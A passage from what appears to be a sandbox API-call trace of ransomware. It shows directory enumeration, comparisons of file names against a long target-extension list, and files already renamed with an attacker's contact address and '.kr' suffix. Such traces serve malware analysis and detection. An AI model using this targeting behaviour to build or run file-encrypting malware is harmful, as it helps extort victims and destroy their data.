lpString2="].kr") returned -1 [0088.291] lstrlenW (lpString=".epf") returned 4 [0088.291] lstrcmpiW (lpString1=".epf", lpString2="].kr") returned -1 [0088.291] lstrlenW (lpString=".eps") returned 4 [0088.291] lstrcmpiW (lpString1=".eps", lpString2="].kr") returned -1 [0088.291] lstrlenW (lpString=".epsf") returned 5 [0088.291] lstrcmpiW (lpString1=".epsf", lpString2="c].kr") returned -1 [0088.291] lstrlenW (lpString=".epsp") returned 5 [0088.291] lstrcmpiW (lpString1=".epsp", lpString2="c].kr") returned -1 [0088.291] lstrlenW (lpString=".erf") returned 4 [0088.291] lstrcmpiW (lpString1=".erf", lpString2="].kr") returned -1 [0088.291] lstrlenW (lpString=".exr") returned 4 [0088.291] lstrcmpiW (lpString1=".exr", lpString2="].kr") returned -1 [0088.291] lstrlenW (lpString=".f4v") returned 4 [0088.292] lstrcmpiW (lpString1=".f4v", lpString2="].kr") returned -1 [0088.292] lstrlenW (lpString=".fido") returned 5 [0088.292] lstrcmpiW (lpString1=".fido", lpString2="c].kr") returned -1 [0088.292] lstrlenW (lpString=".flm") returned 4 [0088.292] lstrcmpiW (lpString1=".flm", lpString2="].kr") returned -1 [0088.292] lstrlenW (lpString=".flv") returned 4 [0088.292] lstrcmpiW (lpString1=".flv", lpString2="].kr") returned -1 [0088.292] lstrlenW (lpString=".frm") returned 4 [0088.292] lstrcmpiW (lpString1=".frm", lpString2="].kr") returned -1 [0088.292] lstrlenW (lpString=".fxg") returned 4 [0088.292] lstrcmpiW (lpString1=".fxg", lpString2="].kr") returned -1 [0088.292] lstrlenW (lpString=".geo") returned 4 [0088.292] lstrcmpiW (lpString1=".geo", lpString2="].kr") returned -1 [0088.292] lstrlenW (lpString=".gif") returned 4 [0088.292] lstrcmpiW (lpString1=".gif", lpString2="].kr") returned -1 [0088.292] lstrlenW (lpString=".grs") returned 4 [0088.292] lstrcmpiW (lpString1=".grs", lpString2="].kr") returned -1 [0088.292] lstrlenW (lpString=".gz") returned 3 [0088.292] lstrcmpiW (lpString1=".gz", lpString2=".kr") returned -1 [0088.292] lstrlenW (lpString=".h") returned 2 [0088.292] lstrcmpiW (lpString1=".h", lpString2="kr") returned -1 [0088.292] lstrlenW (lpString=".hdr") returned 4 [0088.292] lstrcmpiW (lpString1=".hdr", lpString2="].kr") returned -1 [0088.292] lstrlenW (lpString=".hpp") returned 4 [0088.292] lstrcmpiW (lpString1=".hpp", lpString2="].kr") returned -1 [0088.292] lstrlenW (lpString=".hta") returned 4 [0088.292] lstrcmpiW (lpString1=".hta", lpString2="].kr") returned -1 [0088.293] lstrlenW (lpString=".htc") returned 4 [0088.293] lstrcmpiW (lpString1=".htc", lpString2="].kr") returned -1 [0088.293] lstrlenW (lpString=".htm") returned 4 [0088.293] lstrcmpiW (lpString1=".htm", lpString2="].kr") returned -1 [0088.293] lstrlenW (lpString=".html") returned 5 [0088.293] lstrcmpiW (lpString1=".html", lpString2="c].kr") returned -1 [0088.293] lstrlenW (lpString=".icb") returned 4 [0088.293] lstrcmpiW (lpString1=".icb", lpString2="].kr") returned -1 [0088.293] lstrlenW (lpString=".ics") returned 4 [0088.293] lstrcmpiW (lpString1=".ics", lpString2="].kr") returned -1 [0088.293] lstrlenW (lpString=".iff") returned 4 [0088.293] lstrcmpiW (lpString1=".iff", lpString2="].kr") returned -1 [0088.293] lstrlenW (lpString=".inc") returned 4 [0088.293] lstrcmpiW (lpString1=".inc", lpString2="].kr") returned -1 [0088.293] lstrlenW (lpString=".indd") returned 5 [0088.293] lstrcmpiW (lpString1=".indd", lpString2="c].kr") returned -1 [0088.293] lstrlenW (lpString=".ini") returned 4 [0088.293] lstrcmpiW (lpString1=".ini", lpString2="].kr") returned -1 [0088.293] lstrlenW (lpString=".iqy") returned 4 [0088.293] lstrcmpiW (lpString1=".iqy", lpString2="].kr") returned -1 [0088.293] lstrlenW (lpString=".j2c") returned 4 [0088.293] lstrcmpiW (lpString1=".j2c", lpString2="].kr") returned -1 [0088.293] lstrlenW (lpString=".j2k") returned 4 [0088.293] lstrcmpiW (lpString1=".j2k", lpString2="].kr") returned -1 [0088.293] lstrlenW (lpString=".java") returned 5 [0088.293] lstrcmpiW (lpString1=".java", lpString2="c].kr") returned -1 [0088.294] lstrlenW (lpString=".jp2") returned 4 [0088.294] lstrcmpiW (lpString1=".jp2", lpString2="].kr") returned -1 [0088.294] lstrlenW (lpString=".jpc") returned 4 [0088.294] lstrcmpiW (lpString1=".jpc", lpString2="].kr") returned -1 [0088.294] lstrlenW (lpString=".jpe") returned 4 [0088.294] lstrcmpiW (lpString1=".jpe", lpString2="].kr") returned -1 [0088.294] lstrlenW (lpString=".jpeg") returned 5 [0088.294] lstrcmpiW (lpString1=".jpeg", lpString2="c].kr") returned -1 [0088.294] lstrlenW (lpString=".jpf") returned 4 [0088.294] lstrcmpiW (lpString1=".jpf", lpString2="].kr") returned -1 [0088.294] lstrlenW (lpString=".jpg") returned 4 [0088.294] lstrcmpiW (lpString1=".jpg", lpString2="].kr") returned -1 [0088.294] lstrlenW (lpString=".jpx") returned 4 [0088.294] lstrcmpiW (lpString1=".jpx", lpString2="].kr") returned -1 [0088.294] lstrlenW (lpString=".js") returned 3 [0088.294] lstrcmpiW (lpString1=".js", lpString2=".kr") returned -1 [0088.294] lstrlenW (lpString=".jsf") returned 4 [0088.294] lstrcmpiW (lpString1=".jsf", lpString2="].kr") returned -1 [0088.294] lstrlenW (lpString=".json") returned 5 [0088.294] lstrcmpiW (lpString1=".json", lpString2="c].kr") returned -1 [0088.294] lstrlenW (lpString=".jsp") returned 4 [0088.294] lstrcmpiW (lpString1=".jsp", lpString2="].kr") returned -1 [0088.294] lstrlenW (lpString=".kdc") returned 4 [0088.294] lstrcmpiW (lpString1=".kdc", lpString2="].kr") returned -1 [0088.294] lstrlenW (lpString=".kmz") returned 4 [0088.294] lstrcmpiW (lpString1=".kmz", lpString2="].kr") returned -1 [0088.294] lstrlenW (lpString=".kwm") returned 4 [0088.295] lstrcmpiW (lpString1=".kwm", lpString2="].kr") returned -1 [0088.295] lstrlenW (lpString=".lasso") returned 6 [0088.295] lstrcmpiW (lpString1=".lasso", lpString2="cc].kr") returned -1 [0088.295] lstrlenW (lpString=".lbi") returned 4 [0088.295] lstrcmpiW (lpString1=".lbi", lpString2="].kr") returned -1 [0088.295] lstrlenW (lpString=".lgf") returned 4 [0088.295] lstrcmpiW (lpString1=".lgf", lpString2="].kr") returned -1 [0088.295] lstrlenW (lpString=".lgp") returned 4 [0088.295] lstrcmpiW (lpString1=".lgp", lpString2="].kr") returned -1 [0088.295] lstrlenW (lpString=".log") returned 4 [0088.295] lstrcmpiW (lpString1=".log", lpString2="].kr") returned -1 [0088.295] lstrlenW (lpString=".m1v") returned 4 [0088.295] lstrcmpiW (lpString1=".m1v", lpString2="].kr") returned -1 [0088.295] lstrlenW (lpString=".m4a") returned 4 [0088.295] lstrcmpiW (lpString1=".m4a", lpString2="].kr") returned -1 [0088.295] lstrlenW (lpString=".m4v") returned 4 [0088.295] lstrcmpiW (lpString1=".m4v", lpString2="].kr") returned -1 [0088.295] lstrlenW (lpString=".max") returned 4 [0088.295] lstrcmpiW (lpString1=".max", lpString2="].kr") returned -1 [0088.295] lstrlenW (lpString=".md") returned 3 [0088.295] lstrcmpiW (lpString1=".md", lpString2=".kr") returned 1 [0088.295] lstrlenW (lpString=".mda") returned 4 [0088.295] lstrcmpiW (lpString1=".mda", lpString2="].kr") returned -1 [0088.295] lstrlenW (lpString=".mdb") returned 4 [0088.295] lstrcmpiW (lpString1=".mdb", lpString2="].kr") returned -1 [0088.295] lstrlenW (lpString=".mde") returned 4 [0088.295] lstrcmpiW (lpString1=".mde", lpString2="].kr") returned -1 [0088.295] lstrlenW (lpString=".mdf") returned 4 [0088.296] lstrcmpiW (lpString1=".mdf", lpString2="].kr") returned -1 [0088.296] lstrlenW (lpString=".mdw") returned 4 [0088.296] lstrcmpiW (lpString1=".mdw", lpString2="].kr") returned -1 [0088.296] lstrlenW (lpString=".mef") returned 4 [0088.296] lstrcmpiW (lpString1=".mef", lpString2="].kr") returned -1 [0088.296] lstrlenW (lpString=".mft") returned 4 [0088.296] lstrcmpiW (lpString1=".mft", lpString2="].kr") returned -1 [0088.296] lstrlenW (lpString=".mfw") returned 4 [0088.296] lstrcmpiW (lpString1=".mfw", lpString2="].kr") returned -1 [0088.296] lstrlenW (lpString=".mht") returned 4 [0088.296] lstrcmpiW (lpString1=".mht", lpString2="].kr") returned -1 [0088.296] lstrlenW (lpString=".mhtml") returned 6 [0088.296] lstrcmpiW (lpString1=".mhtml", lpString2="cc].kr") returned -1 [0088.296] lstrlenW (lpString=".mka") returned 4 [0088.296] lstrcmpiW (lpString1=".mka", lpString2="].kr") returned -1 [0088.296] lstrlenW (lpString=".mkidx") returned 6 [0088.296] lstrcmpiW (lpString1=".mkidx", lpString2="cc].kr") returned -1 [0088.296] lstrlenW (lpString=".mkv") returned 4 [0088.296] lstrcmpiW (lpString1=".mkv", lpString2="].kr") returned -1 [0088.296] lstrlenW (lpString=".mos") returned 4 [0088.296] lstrcmpiW (lpString1=".mos", lpString2="].kr") returned -1 [0088.296] lstrlenW (lpString=".mov") returned 4 [0088.296] lstrcmpiW (lpString1=".mov", lpString2="].kr") returned -1 [0088.296] lstrlenW (lpString=".mp3") returned 4 [0088.296] lstrcmpiW (lpString1=".mp3", lpString2="].kr") returned -1 [0088.296] lstrlenW (lpString=".mp4") returned 4 [0088.297] lstrcmpiW (lpString1=".mp4", lpString2="].kr") returned -1 [0088.297] lstrlenW (lpString=".mpeg") returned 5 [0088.297] lstrcmpiW (lpString1=".mpeg", lpString2="c].kr") returned -1 [0088.297] lstrlenW (lpString=".mpg") returned 4 [0088.297] lstrcmpiW (lpString1=".mpg", lpString2="].kr") returned -1 [0088.297] lstrlenW (lpString=".mpv") returned 4 [0088.297] lstrcmpiW (lpString1=".mpv", lpString2="].kr") returned -1 [0088.297] lstrlenW (lpString=".mrw") returned 4 [0088.297] lstrcmpiW (lpString1=".mrw", lpString2="].kr") returned -1 [0088.297] lstrlenW (lpString=".msg") returned 4 [0088.297] lstrcmpiW (lpString1=".msg", lpString2="].kr") returned -1 [0088.297] lstrlenW (lpString=".mxl") returned 4 [0088.297] lstrcmpiW (lpString1=".mxl", lpString2="].kr") returned -1 [0088.297] lstrlenW (lpString=".myd") returned 4 [0088.297] lstrcmpiW (lpString1=".myd", lpString2="].kr") returned -1 [0088.297] lstrlenW (lpString=".myi") returned 4 [0088.297] lstrcmpiW (lpString1=".myi", lpString2="].kr") returned -1 [0088.297] lstrlenW (lpString=".nef") returned 4 [0088.297] lstrcmpiW (lpString1=".nef", lpString2="].kr") returned -1 [0088.297] lstrlenW (lpString=".nrw") returned 4 [0088.297] lstrcmpiW (lpString1=".nrw", lpString2="].kr") returned -1 [0088.297] lstrlenW (lpString=".obj") returned 4 [0088.297] lstrcmpiW (lpString1=".obj", lpString2="].kr") returned -1 [0088.297] lstrlenW (lpString=".odb") returned 4 [0088.297] lstrcmpiW (lpString1=".odb", lpString2="].kr") returned -1 [0088.297] lstrlenW (lpString=".odc") returned 4 [0088.297] lstrcmpiW (lpString1=".odc", lpString2="].kr") returned -1 [0088.298] lstrlenW (lpString=".odm") returned 4 [0088.298] lstrcmpiW (lpString1=".odm", lpString2="].kr") returned -1 [0088.298] lstrlenW (lpString=".odp") returned 4 [0088.298] lstrcmpiW (lpString1=".odp", lpString2="].kr") returned -1 [0088.298] lstrlenW (lpString=".ods") returned 4 [0088.298] lstrcmpiW (lpString1=".ods", lpString2="].kr") returned -1 [0088.298] lstrlenW (lpString=".oft") returned 4 [0088.298] lstrcmpiW (lpString1=".oft", lpString2="].kr") returned -1 [0088.298] lstrlenW (lpString=".one") returned 4 [0088.298] lstrcmpiW (lpString1=".one", lpString2="].kr") returned -1 [0088.298] lstrlenW (lpString=".onepkg") returned 7 [0088.298] lstrcmpiW (lpString1=".onepkg", lpString2=".cc].kr") returned 1 [0088.298] lstrlenW (lpString=".onetoc2") returned 8 [0088.298] lstrcmpiW (lpString1=".onetoc2", lpString2="l.cc].kr") returned -1 [0088.298] lstrlenW (lpString=".opt") returned 4 [0088.298] lstrcmpiW (lpString1=".opt", lpString2="].kr") returned -1 [0088.298] lstrlenW (lpString=".oqy") returned 4 [0088.298] lstrcmpiW (lpString1=".oqy", lpString2="].kr") returned -1 [0088.298] lstrlenW (lpString=".orf") returned 4 [0088.298] lstrcmpiW (lpString1=".orf", lpString2="].kr") returned -1 [0088.298] lstrlenW (lpString=".p12") returned 4 [0088.298] lstrcmpiW (lpString1=".p12", lpString2="].kr") returned -1 [0088.298] lstrlenW (lpString=".p7b") returned 4 [0088.298] lstrcmpiW (lpString1=".p7b", lpString2="].kr") returned -1 [0088.298] lstrlenW (lpString=".p7c") returned 4 [0088.298] lstrcmpiW (lpString1=".p7c", lpString2="].kr") returned -1 [0088.299] lstrlenW (lpString=".pam") returned 4 [0088.299] lstrcmpiW (lpString1=".pam", lpString2="].kr") returned -1 [0088.299] lstrlenW (lpString=".pbm") returned 4 [0088.299] lstrcmpiW (lpString1=".pbm", lpString2="].kr") returned -1 [0088.299] lstrlenW (lpString=".pct") returned 4 [0088.299] lstrcmpiW (lpString1=".pct", lpString2="].kr") returned -1 [0088.299] lstrlenW (lpString=".pcx") returned 4 [0088.299] lstrcmpiW (lpString1=".pcx", lpString2="].kr") returned -1 [0088.299] lstrlenW (lpString=".pdd") returned 4 [0088.299] lstrcmpiW (lpString1=".pdd", lpString2="].kr") returned -1 [0088.299] lstrlenW (lpString=".pdf") returned 4 [0088.299] lstrcmpiW (lpString1=".pdf", lpString2="].kr") returned -1 [0088.299] lstrlenW (lpString=".pdp") returned 4 [0088.299] lstrcmpiW (lpString1=".pdp", lpString2="].kr") returned -1 [0088.299] lstrlenW (lpString=".pef") returned 4 [0088.299] lstrcmpiW (lpString1=".pef", lpString2="].kr") returned -1 [0088.299] lstrlenW (lpString=".pem") returned 4 [0088.299] lstrcmpiW (lpString1=".pem", lpString2="].kr") returned -1 [0088.299] lstrlenW (lpString=".pff") returned 4 [0088.299] lstrcmpiW (lpString1=".pff", lpString2="].kr") returned -1 [0088.299] lstrlenW (lpString=".pfm") returned 4 [0088.299] lstrcmpiW (lpString1=".pfm", lpString2="].kr") returned -1 [0088.299] lstrlenW (lpString=".pfx") returned 4 [0088.299] lstrcmpiW (lpString1=".pfx", lpString2="].kr") returned -1 [0088.299] lstrlenW (lpString=".pgm") returned 4 [0088.299] lstrcmpiW (lpString1=".pgm", lpString2="].kr") returned -1 [0088.300] lstrlenW (lpString=".php") returned 4 [0088.300] lstrcmpiW (lpString1=".php", lpString2="].kr") returned -1 [0088.300] lstrlenW (lpString=".php3") returned 5 [0088.300] lstrcmpiW (lpString1=".php3", lpString2="c].kr") returned -1 [0088.300] lstrlenW (lpString=".php4") returned 5 [0088.300] lstrcmpiW (lpString1=".php4", lpString2="c].kr") returned -1 [0088.300] lstrlenW (lpString=".php5") returned 5 [0088.300] lstrcmpiW (lpString1=".php5", lpString2="c].kr") returned -1 [0088.300] lstrlenW (lpString=".phtml") returned 6 [0088.300] lstrcmpiW (lpString1=".phtml", lpString2="cc].kr") returned -1 [0088.300] lstrlenW (lpString=".pict") returned 5 [0088.300] lstrcmpiW (lpString1=".pict", lpString2="c].kr") returned -1 [0088.300] lstrlenW (lpString=".pl") returned 3 [0088.300] lstrcmpiW (lpString1=".pl", lpString2=".kr") returned 1 [0088.300] lstrlenW (lpString=".pls") returned 4 [0088.300] lstrcmpiW (lpString1=".pls", lpString2="].kr") returned -1 [0088.300] lstrlenW (lpString=".pm") returned 3 [0088.300] lstrcmpiW (lpString1=".pm", lpString2=".kr") returned 1 [0088.300] lstrlenW (lpString=".png") returned 4 [0088.300] lstrcmpiW (lpString1=".png", lpString2="].kr") returned -1 [0088.300] lstrlenW (lpString=".pnm") returned 4 [0088.300] lstrcmpiW (lpString1=".pnm", lpString2="].kr") returned -1 [0088.300] lstrlenW (lpString=".pot") returned 4 [0088.300] lstrcmpiW (lpString1=".pot", lpString2="].kr") returned -1 [0088.300] lstrlenW (lpString=".potm") returned 5 [0088.300] lstrcmpiW (lpString1=".potm", lpString2="c].kr") returned -1 [0088.300] lstrlenW (lpString=".potx") returned 5 [0088.301] lstrcmpiW (lpString1=".potx", lpString2="c].kr") returned -1 [0088.301] lstrlenW (lpString=".ppa") returned 4 [0088.301] lstrcmpiW (lpString1=".ppa", lpString2="].kr") returned -1 [0088.301] lstrlenW (lpString=".ppam") returned 5 [0088.301] lstrcmpiW (lpString1=".ppam", lpString2="c].kr") returned -1 [0088.301] lstrlenW (lpString=".ppm") returned 4 [0088.301] lstrcmpiW (lpString1=".ppm", lpString2="].kr") returned -1 [0088.301] lstrlenW (lpString=".pps") returned 4 [0088.301] lstrcmpiW (lpString1=".pps", lpString2="].kr") returned -1 [0088.301] lstrlenW (lpString=".ppsm") returned 5 [0088.301] lstrcmpiW (lpString1=".ppsm", lpString2="c].kr") returned -1 [0088.301] lstrlenW (lpString=".ppt") returned 4 [0088.301] lstrcmpiW (lpString1=".ppt", lpString2="].kr") returned -1 [0088.301] lstrlenW (lpString=".pptm") returned 5 [0088.301] lstrcmpiW (lpString1=".pptm", lpString2="c].kr") returned -1 [0088.301] lstrlenW (lpString=".pptx") returned 5 [0088.301] lstrcmpiW (lpString1=".pptx", lpString2="c].kr") returned -1 [0088.301] lstrlenW (lpString=".prn") returned 4 [0088.301] lstrcmpiW (lpString1=".prn", lpString2="].kr") returned -1 [0088.301] lstrlenW (lpString=".ps") returned 3 [0088.301] lstrcmpiW (lpString1=".ps", lpString2=".kr") returned 1 [0088.301] lstrlenW (lpString=".psb") returned 4 [0088.301] lstrcmpiW (lpString1=".psb", lpString2="].kr") returned -1 [0088.301] lstrlenW (lpString=".psd") returned 4 [0088.301] lstrcmpiW (lpString1=".psd", lpString2="].kr") returned -1 [0088.301] lstrlenW (lpString=".pst") returned 4 [0088.301] lstrcmpiW (lpString1=".pst", lpString2="].kr") returned -1 [0088.302] lstrlenW (lpString=".ptx") returned 4 [0088.302] lstrcmpiW (lpString1=".ptx", lpString2="].kr") returned -1 [0088.302] lstrlenW (lpString=".pub") returned 4 [0088.302] lstrcmpiW (lpString1=".pub", lpString2="].kr") returned -1 [0088.302] lstrlenW (lpString=".pwm") returned 4 [0088.302] lstrcmpiW (lpString1=".pwm", lpString2="].kr") returned -1 [0088.302] lstrlenW (lpString=".pxr") returned 4 [0088.302] lstrcmpiW (lpString1=".pxr", lpString2="].kr") returned -1 [0088.302] lstrlenW (lpString=".py") returned 3 [0088.302] lstrcmpiW (lpString1=".py", lpString2=".kr") returned 1 [0088.302] lstrlenW (lpString=".qt") returned 3 [0088.302] lstrcmpiW (lpString1=".qt", lpString2=".kr") returned 1 [0088.302] lstrlenW (lpString=".r3d") returned 4 [0088.302] lstrcmpiW (lpString1=".r3d", lpString2="].kr") returned -1 [0088.302] lstrlenW (lpString=".raf") returned 4 [0088.302] lstrcmpiW (lpString1=".raf", lpString2="].kr") returned -1 [0088.302] lstrlenW (lpString=".rar") returned 4 [0088.302] lstrcmpiW (lpString1=".rar", lpString2="].kr") returned -1 [0088.302] FindNextFileW (in: hFindFile=0x42605d0, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc775c58e, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc775c58e, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc775c58e, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x13a76, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="LOCALI~1.KR")) returned 1 [0088.302] FindNextFileW (in: hFindFile=0x42605d0, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0088.303] FindNextFileW (in: hFindFile=0x42605d0, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0088.303] FindClose (in: hFindFile=0x42605d0 | out: hFindFile=0x42605d0) returned 1 [0088.303] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x440000) returned 1 [0088.303] FindNextFileW (in: hFindFile=0x4260350, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="3076", cAlternateFileName="")) returned 1 [0088.304] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0088.304] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076") returned 26 [0088.304] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\*", lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xc77f4f5a, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260190 [0088.304] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xc77f4f5a, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.304] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc73a2aa6, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc73a2aa6, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc73a2aa6, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x1994, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="EULART~1.KR")) returned 1 [0088.304] lstrlenW (lpString="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr") returned 46 [0088.304] lstrlenW (lpString=".1cd") returned 4 [0088.304] lstrcmpiW (lpString1=".1cd", lpString2="].kr") returned -1 [0088.304] lstrlenW (lpString=".3ds") returned 4 [0088.304] lstrcmpiW (lpString1=".3ds", lpString2="].kr") returned -1 [0088.304] lstrlenW (lpString=".3fr") returned 4 [0088.304] lstrcmpiW (lpString1=".3fr", lpString2="].kr") returned -1 [0088.304] lstrlenW (lpString=".3g2") returned 4 [0088.304] lstrcmpiW (lpString1=".3g2", lpString2="].kr") returned -1 [0088.304] lstrlenW (lpString=".3gp") returned 4 [0088.304] lstrcmpiW (lpString1=".3gp", lpString2="].kr") returned -1 [0088.305] lstrlenW (lpString=".7z") returned 3 [0088.305] lstrcmpiW (lpString1=".7z", lpString2=".kr") returned -1 [0088.305] lstrlenW (lpString=".accda") returned 6 [0088.305] lstrcmpiW (lpString1=".accda", lpString2="cc].kr") returned -1 [0088.305] lstrlenW (lpString=".accdb") returned 6 [0088.305] lstrcmpiW (lpString1=".accdb", lpString2="cc].kr") returned -1 [0088.305] lstrlenW (lpString=".accdc") returned 6 [0088.305] lstrcmpiW (lpString1=".accdc", lpString2="cc].kr") returned -1 [0088.305] lstrlenW (lpString=".accde") returned 6 [0088.305] lstrcmpiW (lpString1=".accde", lpString2="cc].kr") returned -1 [0088.305] lstrlenW (lpString=".accdt") returned 6 [0088.305] lstrcmpiW (lpString1=".accdt", lpString2="cc].kr") returned -1 [0088.305] lstrlenW (lpString=".accdw") returned 6 [0088.305] lstrcmpiW (lpString1=".accdw", lpString2="cc].kr") returned -1 [0088.305] lstrlenW (lpString=".adb") returned 4 [0088.305] lstrcmpiW (lpString1=".adb", lpString2="].kr") returned -1 [0088.305] lstrlenW (lpString=".adp") returned 4 [0088.305] lstrcmpiW (lpString1=".adp", lpString2="].kr") returned -1 [0088.305] lstrlenW (lpString=".ai") returned 3 [0088.305] lstrcmpiW (lpString1=".ai", lpString2=".kr") returned -1 [0088.305] lstrlenW (lpString=".ai3") returned 4 [0088.305] lstrcmpiW (lpString1=".ai3", lpString2="].kr") returned -1 [0088.305] lstrlenW (lpString=".ai4") returned 4 [0088.305] lstrcmpiW (lpString1=".ai4", lpString2="].kr") returned -1 [0088.305] lstrlenW (lpString=".ai5") returned 4 [0088.305] lstrcmpiW (lpString1=".ai5", lpString2="].kr") returned -1 [0088.306] lstrlenW (lpString=".ai6") returned 4 [0088.306] lstrcmpiW (lpString1=".ai6", lpString2="].kr") returned -1 [0088.306] lstrlenW (lpString=".ai7") returned 4 [0088.306] lstrcmpiW (lpString1=".ai7", lpString2="].kr") returned -1 [0088.306] lstrlenW (lpString=".ai8") returned 4 [0088.306] lstrcmpiW (lpString1=".ai8", lpString2="].kr") returned -1 [0088.306] lstrlenW (lpString=".anim") returned 5 [0088.306] lstrcmpiW (lpString1=".anim", lpString2="c].kr") returned -1 [0088.306] lstrlenW (lpString=".arw") returned 4 [0088.306] lstrcmpiW (lpString1=".arw", lpString2="].kr") returned -1 [0088.306] lstrlenW (lpString=".as") returned 3 [0088.306] lstrcmpiW (lpString1=".as", lpString2=".kr") returned -1 [0088.306] lstrlenW (lpString=".asa") returned 4 [0088.306] lstrcmpiW (lpString1=".asa", lpString2="].kr") returned -1 [0088.306] lstrlenW (lpString=".asc") returned 4 [0088.306] lstrcmpiW (lpString1=".asc", lpString2="].kr") returned -1 [0088.306] lstrlenW (lpString=".ascx") returned 5 [0088.306] lstrcmpiW (lpString1=".ascx", lpString2="c].kr") returned -1 [0088.306] lstrlenW (lpString=".asm") returned 4 [0088.306] lstrcmpiW (lpString1=".asm", lpString2="].kr") returned -1 [0088.306] lstrlenW (lpString=".asmx") returned 5 [0088.306] lstrcmpiW (lpString1=".asmx", lpString2="c].kr") returned -1 [0088.306] lstrlenW (lpString=".asp") returned 4 [0088.306] lstrcmpiW (lpString1=".asp", lpString2="].kr") returned -1 [0088.306] lstrlenW (lpString=".aspx") returned 5 [0088.306] lstrcmpiW (lpString1=".aspx", lpString2="c].kr") returned -1 [0088.306] lstrlenW (lpString=".asr") returned 4 [0088.307] lstrcmpiW (lpString1=".asr", lpString2="].kr") returned -1 [0088.307] lstrlenW (lpString=".asx") returned 4 [0088.307] lstrcmpiW (lpString1=".asx", lpString2="].kr") returned -1 [0088.307] lstrlenW (lpString=".avi") returned 4 [0088.307] lstrcmpiW (lpString1=".avi", lpString2="].kr") returned -1 [0088.307] lstrlenW (lpString=".avs") returned 4 [0088.307] lstrcmpiW (lpString1=".avs", lpString2="].kr") returned -1 [0088.307] lstrlenW (lpString=".backup") returned 7 [0088.307] lstrcmpiW (lpString1=".backup", lpString2=".cc].kr") returned -1 [0088.307] lstrlenW (lpString=".bak") returned 4 [0088.307] lstrcmpiW (lpString1=".bak", lpString2="].kr") returned -1 [0088.307] lstrlenW (lpString=".bay") returned 4 [0088.307] lstrcmpiW (lpString1=".bay", lpString2="].kr") returned -1 [0088.307] lstrlenW (lpString=".bd") returned 3 [0088.307] lstrcmpiW (lpString1=".bd", lpString2=".kr") returned -1 [0088.307] lstrlenW (lpString=".bin") returned 4 [0088.307] lstrcmpiW (lpString1=".bin", lpString2="].kr") returned -1 [0088.307] lstrlenW (lpString=".bmp") returned 4 [0088.307] lstrcmpiW (lpString1=".bmp", lpString2="].kr") returned -1 [0088.307] lstrlenW (lpString=".bz2") returned 4 